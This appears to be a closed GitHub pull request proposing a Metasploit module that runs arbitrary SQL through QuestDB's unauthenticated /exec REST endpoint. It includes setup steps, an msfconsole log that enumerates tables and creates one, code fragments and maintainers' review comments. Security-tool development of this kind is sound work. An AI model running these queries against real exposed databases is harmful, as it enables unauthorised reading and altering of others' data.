Skip to content

Add QuestDB SQL API Interaction Module (CNVD-2026-84827)#21016

Closed
ctkqiang wants to merge 9 commits into
rapid7:masterfrom
ctkqiang:ctkqiang-feat/mod/questdb
Closed

Add QuestDB SQL API Interaction Module (CNVD-2026-84827)#21016
ctkqiang wants to merge 9 commits into
rapid7:masterfrom
ctkqiang:ctkqiang-feat/mod/questdb

Conversation

@ctkqiang
Copy link
Copy Markdown

@ctkqiang ctkqiang commented Feb 23, 2026

This Pull Request introduces a new exploit module for QuestDB, an open-source time-series database, targeting an unauthenticated SQL execution vulnerability identified as CNVD-2026-84827. While this identifier is currently in the formal review and verification phase by the China National Vulnerability Database (国家信息安全漏洞共享平台) and may not yet be reflected in public mirrors, the underlying flaw is fully reproducible, allowing an attacker to execute arbitrary DDL and DQL commands via the unauthenticated /exec REST API endpoint. This module provides critical security researchers with a functional tool to verify the exposure of QuestDB instances in their default configurations.

By default, QuestDB's REST API on port 9000 does not require authentication for the /exec endpoint. This allows an attacker to execute arbitrary Data Definition Language (DDL) and Data Query Language (DQL) commands. The module provides a check method for version fingerprinting and supports both automated table enumeration and raw SQL query execution.


Update: the CNVD-2026-13173 is Validated by CNVD


Verification

Follow these steps to verify the module's functionality:

  • Start QuestDB via Docker: docker run -d -p 9000:9000 questdb/questdb:latest
  • Start msfconsole
  • use exploit/multi/http/questdb_rce
  • set RHOSTS 127.0.0.1
  • check
  • Verify it detects the version (e.g., 8.x or 9.x) and returns The target appears to be vulnerable.
  • run
  • Verify it executes the default tables() query and returns the database schema in JSON format.
  • set QUERY "CREATE TABLE msf_test(id INT, info STRING)"
  • run
  • Verify the SQL executes successfully and returns a {"ddl":"OK"} response.

Documentation

  • Document the thing and how it works. I have included the required .md documentation file in this PR at documentation/modules/exploits/multi/http/questdb_rce.md.

Targets Tested

  • QuestDB 9.5.0 on Docker (Linux)
  • QuestDB 8.0.2 on Ubuntu 22.04 (Linux)

Demontration & Logs

To assist with the review, I have included the console output below:

Click to view MSF Console Output
钟智强的@电脑「么么哒」} ~  msfconsole
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
/Users/johnmelodyme/Documents/ctkqiang/metasploit-framework/config/boot.rb:4: warning: already initialized constant GEMFILE_EXTENSIONS
/opt/metasploit-framework/embedded/framework/config/boot.rb:4: warning: previous definition of GEMFILE_EXTENSIONS was here
Metasploit tip: Use help <command> to learn more about any command
                                                  
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v6.4.25-dev-db55e5e8fd36b1310155daaf9b84be907dd7a14d]
+ -- --=[ 2451 exploits - 1260 auxiliary - 430 post       ]
+ -- --=[ 1481 payloads - 48 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search questdb

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/questdb_rce  .                excellent  Yes    QuestDB SQL API Interaction Tool


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/questdb_rce

msf6 > use exploit/multi/http/questdb_rce
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/questdb_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/questdb_rce) > set RPORT 9000
RPORT => 9000
msf6 exploit(multi/http/questdb_rce) > check

[+] Detected QuestDB Version: PostgreSQL 12.3, compiled by Visual C++ build 1914, 64-bit, QuestDB
[*] 127.0.0.1:9000 - The target appears to be vulnerable.
msf6 exploit(multi/http/questdb_rce) > run

[*] Started reverse TCP handler on 192.168.1.78:4444 
[*] Action: No query provided. Fetching all tables (Default)...
[+] SQL Execution Successful.
{
  "query": "tables()",
  "columns": [
    {
      "name": "id",
      "type": "INT"
    },
    {
      "name": "table_name",
      "type": "STRING"
    },
    {
      "name": "designatedTimestamp",
      "type": "STRING"
    },
    {
      "name": "partitionBy",
      "type": "STRING"
    },
    {
      "name": "walEnabled",
      "type": "BOOLEAN"
    },
    {
      "name": "dedup",
      "type": "BOOLEAN"
    },
    {
      "name": "ttlValue",
      "type": "INT"
    },
    {
      "name": "ttlUnit",
      "type": "STRING"
    },
    {
      "name": "matView",
      "type": "BOOLEAN"
    },
    {
      "name": "directoryName",
      "type": "STRING"
    },
    {
      "name": "maxUncommittedRows",
      "type": "INT"
    },
    {
      "name": "o3MaxLag",
      "type": "LONG"
    },
    {
      "name": "table_suspended",
      "type": "BOOLEAN"
    },
    {
      "name": "table_type",
      "type": "CHAR"
    },
    {
      "name": "table_row_count",
      "type": "LONG"
    },
    {
      "name": "table_min_timestamp",
      "type": "TIMESTAMP"
    },
    {
      "name": "table_max_timestamp",
      "type": "TIMESTAMP"
    },
    {
      "name": "table_last_write_timestamp",
      "type": "TIMESTAMP"
    },
    {
      "name": "table_txn",
      "type": "LONG"
    },
    {
      "name": "table_memory_pressure_level",
      "type": "INT"
    },
    {
      "name": "table_write_amp_count",
      "type": "LONG"
    },
    {
      "name": "table_write_amp_p50",
      "type": "DOUBLE"
    },
    {
      "name": "table_write_amp_p90",
      "type": "DOUBLE"
    },
    {
      "name": "table_write_amp_p99",
      "type": "DOUBLE"
    },
    {
      "name": "table_write_amp_max",
      "type": "DOUBLE"
    },
    {
      "name": "table_merge_rate_count",
      "type": "LONG"
    },
    {
      "name": "table_merge_rate_p50",
      "type": "LONG"
    },
    {
      "name": "table_merge_rate_p90",
      "type": "LONG"
    },
    {
      "name": "table_merge_rate_p99",
      "type": "LONG"
    },
    {
      "name": "table_merge_rate_max",
      "type": "LONG"
    },
    {
      "name": "wal_pending_row_count",
      "type": "LONG"
    },
    {
      "name": "wal_dedup_row_count_since_start",
      "type": "LONG"
    },
    {
      "name": "wal_txn",
      "type": "LONG"
    },
    {
      "name": "wal_max_timestamp",
      "type": "TIMESTAMP"
    },
    {
      "name": "wal_tx_count",
      "type": "LONG"
    },
    {
      "name": "wal_tx_size_p50",
      "type": "LONG"
    },
    {
      "name": "wal_tx_size_p90",
      "type": "LONG"
    },
    {
      "name": "wal_tx_size_p99",
      "type": "LONG"
    },
    {
      "name": "wal_tx_size_max",
      "type": "LONG"
    },
    {
      "name": "replica_batch_count",
      "type": "LONG"
    },
    {
      "name": "replica_batch_size_p50",
      "type": "LONG"
    },
    {
      "name": "replica_batch_size_p90",
      "type": "LONG"
    },
    {
      "name": "replica_batch_size_p99",
      "type": "LONG"
    },
    {
      "name": "replica_batch_size_max",
      "type": "LONG"
    },
    {
      "name": "replica_more_pending",
      "type": "BOOLEAN"
    }
  ],
  "timestamp": -1,
  "dataset": [
    [
      24,
      "tbl_bipsc",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "tbl_bipsc",
      500000,
      600000000,
      false,
      "T",
      null,
      null,
      null,
      null,
      null,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      23,
      "tbl_cnzhy",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "tbl_cnzhy",
      500000,
      600000000,
      false,
      "T",
      null,
      null,
      null,
      null,
      null,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      22,
      "tbl_vkpchdde",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "tbl_vkpchdde",
      500000,
      600000000,
      false,
      "T",
      null,
      null,
      null,
      null,
      null,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      21,
      "tbl_ejbvqm",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "tbl_ejbvqm",
      500000,
      600000000,
      false,
      "T",
      null,
      null,
      null,
      null,
      null,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      14,
      "announcements",
      "publish_date",
      "DAY",
      true,
      false,
      0,
      "HOUR",
      false,
      "announcements~14",
      500000,
      600000000,
      false,
      "T",
      388,
      "2021-11-16T00:00:00.000000Z",
      "2026-01-31T00:00:00.000000Z",
      "2026-01-31T00:00:00.000000Z",
      2869,
      0,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      2869,
      "2026-01-31T00:00:00.000000Z",
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      20,
      "92",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "92",
      500000,
      600000000,
      false,
      "T",
      0,
      null,
      null,
      null,
      0,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      17,
      "stock_indicators",
      "timestamp",
      "DAY",
      true,
      false,
      0,
      "HOUR",
      false,
      "stock_indicators~17",
      500000,
      600000000,
      false,
      "T",
      2271,
      "2026-02-13T00:05:01.074189Z",
      "2026-02-14T15:53:50.350734Z",
      "2026-02-14T15:53:50.350734Z",
      2271,
      0,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      2271,
      "2026-02-14T15:53:50.350734Z",
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      18,
      "N68vW",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "N68vW",
      500000,
      600000000,
      false,
      "T",
      0,
      null,
      null,
      null,
      0,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      16,
      "candle_stick_data",
      "timestamp",
      "DAY",
      true,
      false,
      0,
      "HOUR",
      false,
      "candle_stick_data_wal~16",
      500000,
      600000000,
      false,
      "T",
      9333,
      "2026-02-11T19:40:02.233994Z",
      "2026-02-14T15:53:50.751859Z",
      "2026-02-14T15:53:50.751859Z",
      8024,
      0,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      8024,
      "2026-02-14T15:53:50.751859Z",
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      19,
      "Ztn6p",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "Ztn6p",
      500000,
      600000000,
      false,
      "T",
      0,
      null,
      null,
      null,
      0,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ],
    [
      11,
      "questdb-query-1770701262580.csv",
      null,
      "NONE",
      false,
      false,
      0,
      "HOUR",
      false,
      "questdb-query-1770701262580.csv",
      500000,
      600000000,
      false,
      "T",
      33,
      null,
      null,
      null,
      0,
      null,
      0,
      0.0,
      0.0,
      0.0,
      0.0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      null,
      null,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      false
    ]
  ],
  "count": 11
}
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/questdb_rce) > set QUERY "CREATE TABLE msf_test(id INT, name STRING)"
QUERY => CREATE TABLE msf_test(id INT, name STRING)
msf6 exploit(multi/http/questdb_rce) > run

[*] Started reverse TCP handler on 192.168.1.78:4444 
[*] Action: Executing Raw User Query...
[+] SQL Execution Successful.
{
  "ddl": "OK"
}
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/questdb_rce) > 


72f76f983029b9890bbaabb284fba09d

…e options

- Updated module usage comments for clarity and conciseness
- Integrated a comprehensive list of deep link schemes into DEEPLINK_SCHEME options
- Removed redundant @list_of_deeplink variable after integrating its contents into OptEnum
…e options

- Updated module usage comments for clarity and conciseness
- Integrated a comprehensive list of deep link schemes into DEEPLINK_SCHEME options
- Removed redundant @list_of_deeplink variable after integrating its contents into OptEnum
Create QR codes that trigger app actions when scanned, useful for testing
deep link vulnerabilities and social engineering scenarios across popular apps.
This adds an exploit module for QuestDB's unauthenticated /exec REST API.
It allows for arbitrary SQL execution and default table enumeration.
Reference: CNVD-2026-84827.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think there are some leftover files, would you mind double checking?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My bad. Removing it now

))

register_options([
Opt::RPORT($configuration[:port]),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not inline the port number?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will INline it now

end

def exploit
sql_query = datastore['QUERY'] || 'tables()'
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since you're not running actual "payload" - i.e. reverse shell, command execution,.. - I would move this into auxiliary category and it seems like this is SQLi? There are some already existing SQL injection modules, so you can take a look there how to approach this.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Any recommendations? (I dont mind learning this)

Comment on lines +60 to +63
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding additional message for CheckCode?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sure, doing it now

Comment on lines +95 to +98
print_line(JSON.pretty_generate(json_data))
rescue JSON::ParserError
print_status("Raw Response: #{response.body}")
end
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't need to put this into begin/rescue block

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the heads up ❤️❤️❤️

@github-actions
Copy link
Copy Markdown

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

…ks, improving error handling with proper null checks, removing redundant Platform/Targets configuration, and updating to follow Metasploit's coding conventions.

Hope for the best
@ctkqiang
Copy link
Copy Markdown
Author

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

@msutovsky-r7
Copy link
Copy Markdown
Contributor

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

There are still Gemlock files that would need to be removed from here.

@ctkqiang
Copy link
Copy Markdown
Author

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

There are still Gemlock files that would need to be removed from here.

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

There are still Gemlock files that would need to be removed from here.

Doing it now boss.

… last commit before the Android deeplinking dirt
@msutovsky-r7
Copy link
Copy Markdown
Contributor

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

There are still Gemlock files that would need to be removed from here.

@msutovsky-r7 , Like this? Or is there any improvements needed from my end? 🫡

There are still Gemlock files that would need to be removed from here.

Doing it now boss.

There are still two leftover files: Gemfile and Gemfile.lock. You can checkout those files from r7 master branch and that should fix it.

@msutovsky-r7
Copy link
Copy Markdown
Contributor

So there are still some major issues that needs to be addressed:

  • The Gemlock file is still modified, that should be discarded
  • The module does not seem to execute actual "payload" like meterpreter or shell, but rather runs SQL queries. Could this be used to add users and log as admin or perform any useful operations automatically? If there's a way to run cmd commands from SQL query, we can keep it as exploit module, otherwise, this should be moved to auxiliary.
  • The module needs documentation, ideally with steps of how to setup vulnerable target.

@msutovsky-r7
Copy link
Copy Markdown
Contributor

Hello @ctkqiang , any update?

…uxiliary module: Better suited for scenarios without exploitation functionalityupdate module name and description: More accurately reflects its information-gathering capabilities.
@ctkqiang
Copy link
Copy Markdown
Author

Hello @ctkqiang , any update?

Tried my best updated , trying to understand struture :)

@smcintyre-r7
Copy link
Copy Markdown
Contributor

We'll need the docs to be added for this and for the Gemfile.lock changes to be reverted. Once those changes are in place, we can take some time to test and do a more thorough review.

@smcintyre-r7 smcintyre-r7 moved this from Todo to Waiting on Contributor in Metasploit Kanban Mar 17, 2026
@adfoster-r7 adfoster-r7 requested a review from Copilot March 28, 2026 12:29
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds a new Metasploit module intended to interact with QuestDB’s unauthenticated /exec REST endpoint for executing SQL queries, and also updates the project’s Ruby dependency lockfile.

Changes:

  • Introduces a new auxiliary module that sends SQL to QuestDB’s /exec endpoint and prints JSON results.
  • Updates Gemfile.lock, including a metasploit-framework version bump and multiple dependency changes.

Reviewed changes

Copilot reviewed 1 out of 2 changed files in this pull request and generated 6 comments.

File Description
modules/auxiliary/sqli/questdb/questdb_rce.rb New module to execute QuestDB SQL via the REST API /exec endpoint.
Gemfile.lock Updates locked dependencies and changes the recorded metasploit-framework version.

Comment on lines +25 to +28
'References' => [
[ 'CNVD', '2026-84827' ],
[ 'URL', 'https://github.com/ctkqiang/QuestExploit' ],
[ 'URL', 'https://questdb.com/docs/query/rest-api/' ]
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR description’s update mentions CNVD-2026-13173 as validated, but this module references CNVD-2026-84827. Please align the reference ID(s) with the validated advisory (or include both if applicable) so users can reliably correlate the module with the correct vulnerability record.

Copilot uses AI. Check for mistakes.
Comment on lines +41 to +50
OptString.new('QUERY', [ false, 'The raw SQL query to execute', 'tables()'])
])
end

def run_host(ip)
sql_query = datastore['QUERY'] || 'tables()'

if datastore['QUERY']
print_status("Action: Executing Raw User Query...")
else
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Because the QUERY option has a default of "tables()", datastore['QUERY'] will always be set, making the else branch unreachable and the “No query provided” message impossible. Consider making QUERY default to nil (or checking whether it was user-specified) and only falling back to tables() in code.

Suggested change
OptString.new('QUERY', [ false, 'The raw SQL query to execute', 'tables()'])
])
end
def run_host(ip)
sql_query = datastore['QUERY'] || 'tables()'
if datastore['QUERY']
print_status("Action: Executing Raw User Query...")
else
OptString.new('QUERY', [ false, 'The raw SQL query to execute', nil])
])
end
def run_host(ip)
user_query = datastore['QUERY']
if user_query && !user_query.empty?
sql_query = user_query
print_status("Action: Executing Raw User Query...")
else
sql_query = 'tables()'

Copilot uses AI. Check for mistakes.
Comment on lines +6 to +15
class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'QuestDB SQL API Unauthenticated Access',
'Description' => %q{
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This module is named and placed as auxiliary/sqli/.../questdb_rce, but it doesn’t perform SQL injection or remote code execution—it issues SQL to an exposed REST API endpoint. Please rename/reclassify the module (file path and module name) to reflect its actual behavior so users can find it in the expected namespace.

Copilot generated this review using guidance from organization custom instructions.
Comment on lines +45 to +55
def run_host(ip)
sql_query = datastore['QUERY'] || 'tables()'

if datastore['QUERY']
print_status("Action: Executing Raw User Query...")
else
print_status("Action: No query provided. Fetching all tables (Default)...")
end

execute_sql(sql_query)
end
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

run_host receives the target IP but the output messages (success/error) don’t include ip/peer, which makes results ambiguous when scanning multiple hosts. Please include the current host/port in printed messages (or pass ip into execute_sql for logging).

Copilot uses AI. Check for mistakes.
Comment on lines +12 to +15
def initialize(info = {})
super(update_info(info,
'Name' => 'QuestDB SQL API Unauthenticated Access',
'Description' => %q{
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR description and verification steps reference an exploit module (exploit/multi/http/questdb_rce) and a documentation file under documentation/modules/exploits/..., but this PR adds an auxiliary module at auxiliary/sqli/questdb/questdb_rce and there is no corresponding documentation file in the tree. Please update the PR description/docs to match the actual module type/path, and add the appropriate module documentation under the correct documentation/modules/auxiliary/... location.

Copilot uses AI. Check for mistakes.
Comment on lines +16 to +21
This module exploits an authentication bypass vulnerability in QuestDB's REST API
to execute arbitrary SQL queries. It can be used to execute raw SQL queries
and list tables in the database.

The vulnerability allows unauthenticated access to the /exec endpoint,
which can be leveraged to execute SQL queries against the database.
Copy link

Copilot AI Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module metadata describes this as an “authentication bypass vulnerability”, but the PR description indicates the /exec endpoint is unauthenticated by default (i.e., no bypass needed). Please reword the module description to accurately reflect the issue (unauthenticated REST API SQL execution in default configuration) to avoid misleading users.

Suggested change
This module exploits an authentication bypass vulnerability in QuestDB's REST API
to execute arbitrary SQL queries. It can be used to execute raw SQL queries
and list tables in the database.
The vulnerability allows unauthenticated access to the /exec endpoint,
which can be leveraged to execute SQL queries against the database.
This module exploits the unauthenticated SQL execution capability exposed by QuestDB's
REST API /exec endpoint in its default configuration. It can be used to execute raw SQL
queries and list tables in the database.
In affected configurations, the /exec endpoint does not enforce authentication by default,
allowing remote attackers to execute SQL queries against the database over HTTP.

Copilot uses AI. Check for mistakes.
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This module doesn't grant sessions

Suggested change
'Reliability' => [REPEATABLE_SESSION]
'Reliability' => []

##

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking
Copy link
Copy Markdown
Contributor

@adfoster-r7 adfoster-r7 Mar 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ranking is for exploit modules so we can remove this 👍

Suggested change
Rank = NormalRanking

])
end

def run_host(ip)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It it possible to add a check method to detect this software and endpoint? 👀

Metasploit generally expects modules to implement check to verify if a target is vulnerable before exploitation.

https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-write-a-check-method.html

execute_sql(sql_query)
end

def execute_sql(sql)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This module doesn't appear to store any loot or report any findings to the database (report_vuln, store_loot), which is expected for scanner modules.

@msutovsky-r7
Copy link
Copy Markdown
Contributor

Putting this to attic as there has not been any activity for some time now and there's a lot of missing components and not addressed issues.

@msutovsky-r7 msutovsky-r7 added the attic Older submissions that we still want to work on again label Jun 2, 2026
@github-actions
Copy link
Copy Markdown

github-actions Bot commented Jun 2, 2026

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

  • It doesn't look like there has been any activity on this pull request in a while (60 days or more).
  • We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
  • Sometimes the implementation isn't quite right and a different approach is necessary.

Pull requests in the attic are open for community pickup — if you're a community member looking for something to work on, feel free to pick this up and carry it across the finish line. The original author may or may not return, if they do and want to continue the work, we'd welcome that too.
If you'd like to revive this PR, please comment below expressing your interest, then open a new pull request that references this one, and we'll be happy to review it.

@github-actions github-actions Bot closed this Jun 2, 2026
@github-project-automation github-project-automation Bot moved this from Waiting on Contributor to Done in Metasploit Kanban Jun 2, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

attic Older submissions that we still want to work on again module needs-docs

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

5 participants